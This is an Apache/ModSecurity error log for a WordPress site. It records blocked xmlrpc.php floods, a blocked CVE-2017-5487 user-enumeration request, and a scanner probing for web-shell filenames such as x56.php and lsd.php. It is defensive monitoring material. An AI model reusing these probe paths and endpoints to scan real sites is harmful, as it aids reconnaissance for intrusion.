[Sun Dec 28 16:23:53.501630 2025] [:error] [pid 42293:tid 42333] [client 104.28.222.47:62341] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGcvc9B-5cwN385KuYwAAAEo"]
[Sun Dec 28 16:23:53.501818 2025] [:error] [pid 42293:tid 42333] [client 104.28.222.47:62341] [client 104.28.222.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.28.222.47, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGcvc9B-5cwN385KuYwAAAEo"]
[Sun Dec 28 16:23:54.040243 2025] [:error] [pid 42293:tid 42323] [client 104.28.222.47:63836] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGsvc9B-5cwN385KuZQAAAEA"]
[Sun Dec 28 16:23:54.040410 2025] [:error] [pid 42293:tid 42323] [client 104.28.222.47:63836] [client 104.28.222.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.28.222.47, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGsvc9B-5cwN385KuZQAAAEA"]
[Sun Dec 28 16:23:54.581258 2025] [:error] [pid 42378:tid 42385] [client 104.28.222.47:39567] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGjgtcN-KHAjWrX_vQQAAAMU"]
[Sun Dec 28 16:23:54.581465 2025] [:error] [pid 42378:tid 42385] [client 104.28.222.47:39567] [client 104.28.222.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.28.222.47, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGjgtcN-KHAjWrX_vQQAAAMU"]
[Sun Dec 28 16:24:51.992741 2025] [:error] [pid 42293:tid 42329] [client 92.205.175.228:37610] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpU8vc9B-5cwN385KuhAAAAEY"]
[Sun Dec 28 16:24:55.029872 2025] [:error] [pid 29436:tid 29442] [client 92.205.175.228:40188] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpV7chzOOtNL9VPNKjeQAAAYM"]
[Sun Dec 28 16:24:57.507487 2025] [:error] [pid 42293:tid 42337] [client 92.205.175.228:40196] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpWcvc9B-5cwN385KuiwAAAE4"]
[Sun Dec 28 16:25:00.035560 2025] [:error] [pid 29436:tid 29444] [client 92.205.175.228:40200] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpXLchzOOtNL9VPNKjegAAAYU"]
[Sun Dec 28 16:25:02.679459 2025] [:error] [pid 42378:tid 42392] [client 92.205.175.228:33194] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpXjgtcN-KHAjWrX_vTwAAAMw"]
[Sun Dec 28 16:25:05.121064 2025] [:error] [pid 43789:tid 43814] [client 92.205.175.228:33210] [client 92.205.175.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.175.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpYQa-tUppni4CcCYHQQAAARc"]
[Sun Dec 28 16:25:05.121188 2025] [:error] [pid 43789:tid 43814] [client 92.205.175.228:33210] [client 92.205.175.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 92.205.175.228, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpYQa-tUppni4CcCYHQQAAARc"]
[Sun Dec 28 17:00:40.715848 2025] [:error] [pid 42378:tid 42391] [client 85.214.238.168:50094] [client 85.214.238.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.238.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDxuDgtcN-KHAjWrX_0ygAAAMs"]
[Sun Dec 28 17:00:53.383504 2025] [:error] [pid 43789:tid 43795] [client 34.42.11.211:58282] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDxxQa-tUppni4CcCYM0QAAAQQ"]
[Sun Dec 28 17:00:56.859068 2025] [:error] [pid 43789:tid 43811] [client 34.42.11.211:58282] [client 34.42.11.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVDxyAa-tUppni4CcCYM2AAAARQ"]
[Sun Dec 28 17:00:58.883237 2025] [:error] [pid 43789:tid 43802] [client 34.42.11.211:58282] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDxyga-tUppni4CcCYM2gAAAQs"]
[Sun Dec 28 17:01:00.718982 2025] [:error] [pid 42292:tid 42309] [client 34.42.11.211:59655] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDxzJyOrM_vaFx1osYk2gAAAA0"]
[Sun Dec 28 17:01:02.627827 2025] [:error] [pid 42378:tid 42399] [client 34.42.11.211:52773] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDxzjgtcN-KHAjWrX_0-wAAANM"]
[Sun Dec 28 17:01:04.601449 2025] [:error] [pid 42292:tid 42314] [client 34.42.11.211:55305] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDx0JyOrM_vaFx1osYk6AAAABI"]
[Sun Dec 28 17:01:06.858094 2025] [:error] [pid 29436:tid 29458] [client 34.42.11.211:65007] [client 34.42.11.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.11.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDx0rchzOOtNL9VPNKvkAAAAZM"]
[Sun Dec 28 17:01:06.858230 2025] [:error] [pid 29436:tid 29458] [client 34.42.11.211:65007] [client 34.42.11.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.42.11.211, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDx0rchzOOtNL9VPNKvkAAAAZM"]
[Sun Dec 28 18:11:13.416510 2025] [:error] [pid 29437:tid 29470] [client 198.244.177.113:37448] [client 198.244.177.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.244.177.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVECQRhDotAbVk6pZLemIwAAAcQ"]
[Sun Dec 28 18:36:19.566743 2025] [:error] [pid 29436:tid 29463] [client 51.89.19.88:59164] [client 51.89.19.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.89.19.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEII7chzOOtNL9VPNLSSQAAAZg"]
[Sun Dec 28 18:41:42.712557 2025] [autoindex:error] [pid 42292:tid 42302] [client 172.192.64.62:7143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 28 18:41:55.741348 2025] [:error] [pid 42292:tid 42299] [client 172.192.64.62:7143] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVEJc5yOrM_vaFx1osY5BgAAAAM"]
[Sun Dec 28 18:41:55.988777 2025] [:error] [pid 42378:tid 42397] [client 172.192.64.62:7057] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVEJczgtcN-KHAjWrX8IiwAAANE"]
[Sun Dec 28 18:41:56.221039 2025] [:error] [pid 42293:tid 42347] [client 172.192.64.62:7058] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVEJdMvc9B-5cwN385LQxQAAAFg"]
[Sun Dec 28 18:41:56.581510 2025] [:error] [pid 29388:tid 29400] [client 172.192.64.62:7166] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVEJdNoLv2L2zI_SpdXM8AAAAUQ"]
[Sun Dec 28 18:41:56.835785 2025] [:error] [pid 29388:tid 29396] [client 172.192.64.62:7156] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aVEJdNoLv2L2zI_SpdXM8QAAAUA"]
[Sun Dec 28 18:41:57.065300 2025] [:error] [pid 42378:tid 42393] [client 172.192.64.62:7050] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aVEJdTgtcN-KHAjWrX8IjAAAAM0"]
[Sun Dec 28 18:41:57.312287 2025] [:error] [pid 29388:tid 29406] [client 172.192.64.62:7134] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aVEJddoLv2L2zI_SpdXM8wAAAUo"]
[Sun Dec 28 18:41:57.558432 2025] [:error] [pid 42292:tid 42308] [client 172.192.64.62:7131] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aVEJdZyOrM_vaFx1osY5BwAAAAw"]
[Sun Dec 28 18:41:57.798801 2025] [:error] [pid 42293:tid 42339] [client 172.192.64.62:7119] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVEJdcvc9B-5cwN385LQyAAAAFA"]
[Sun Dec 28 18:41:58.032456 2025] [:error] [pid 42292:tid 42301] [client 172.192.64.62:7149] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVEJdpyOrM_vaFx1osY5CAAAAAU"]
[Sun Dec 28 18:41:58.290316 2025] [:error] [pid 42378:tid 42395] [client 172.192.64.62:7059] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVEJdjgtcN-KHAjWrX8IjgAAAM8"]
[Sun Dec 28 18:41:58.528936 2025] [:error] [pid 42378:tid 42399] [client 172.192.64.62:7113] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVEJdjgtcN-KHAjWrX8IkAAAANM"]
[Sun Dec 28 18:41:58.811070 2025] [:error] [pid 29437:tid 29476] [client 172.192.64.62:7054] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEJdhhDotAbVk6pZLeuhwAAAco"]
[Sun Dec 28 18:41:59.194361 2025] [:error] [pid 42293:tid 42337] [client 172.192.64.62:7137] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEJd8vc9B-5cwN385LQyQAAAE4"]
[Sun Dec 28 18:41:59.504061 2025] [:error] [pid 29388:tid 29410] [client 172.192.64.62:7075] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEJd9oLv2L2zI_SpdXM9QAAAU4"]
[Sun Dec 28 18:41:59.816709 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:7109] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEJd8vc9B-5cwN385LQygAAAEk"]
[Sun Dec 28 18:42:00.083090 2025] [:error] [pid 42292:tid 42304] [client 172.192.64.62:7135] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aVEJeJyOrM_vaFx1osY5CgAAAAg"]
[Sun Dec 28 18:42:00.378306 2025] [:error] [pid 42292:tid 42320] [client 172.192.64.62:7167] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aVEJeJyOrM_vaFx1osY5CwAAABg"]
[Sun Dec 28 18:42:00.617959 2025] [:error] [pid 29437:tid 29486] [client 172.192.64.62:7010] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aVEJeBhDotAbVk6pZLeuiQAAAdQ"]
[Sun Dec 28 18:42:00.902457 2025] [:error] [pid 29436:tid 29463] [client 172.192.64.62:7129] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aVEJeLchzOOtNL9VPNLT9AAAAZg"]
[Sun Dec 28 18:42:01.292452 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:7130] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVEJeZyOrM_vaFx1osY5DwAAAA0"]
[Sun Dec 28 18:42:01.597600 2025] [:error] [pid 42294:tid 42367] [client 172.192.64.62:7120] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVEJedTE5kYcYCOzl9GtmAAAAJE"]
[Sun Dec 28 18:42:01.850189 2025] [:error] [pid 29437:tid 29488] [client 172.192.64.62:7142] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVEJeRhDotAbVk6pZLeujAAAAdY"]
[Sun Dec 28 18:42:02.135101 2025] [:error] [pid 42293:tid 42335] [client 172.192.64.62:7112] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVEJesvc9B-5cwN385LQzgAAAEw"]
[Sun Dec 28 18:42:02.410635 2025] [:error] [pid 29437:tid 29469] [client 172.192.64.62:7051] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVEJehhDotAbVk6pZLeujQAAAcM"]
[Sun Dec 28 18:42:02.667051 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:7045] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVEJerchzOOtNL9VPNLT9QAAAYI"]
[Sun Dec 28 18:42:02.929496 2025] [:error] [pid 29436:tid 29459] [client 172.192.64.62:7121] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVEJerchzOOtNL9VPNLT9gAAAZQ"]
[Sun Dec 28 18:42:03.298244 2025] [:error] [pid 42292:tid 42298] [client 172.192.64.62:7146] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVEJe5yOrM_vaFx1osY5EgAAAAI"]
[Sun Dec 28 18:42:03.546339 2025] [:error] [pid 42378:tid 42404] [client 172.192.64.62:7052] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVEJezgtcN-KHAjWrX8IlAAAANg"]
[Sun Dec 28 18:42:03.778950 2025] [:error] [pid 42294:tid 42358] [client 172.192.64.62:7145] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVEJe9TE5kYcYCOzl9GtmQAAAIg"]
[Sun Dec 28 18:42:04.059820 2025] [:error] [pid 29388:tid 29418] [client 172.192.64.62:7154] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVEJfNoLv2L2zI_SpdXM-QAAAVY"]
[Sun Dec 28 18:42:04.285956 2025] [:error] [pid 42294:tid 42364] [client 172.192.64.62:7124] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVEJfNTE5kYcYCOzl9GtmgAAAI4"]
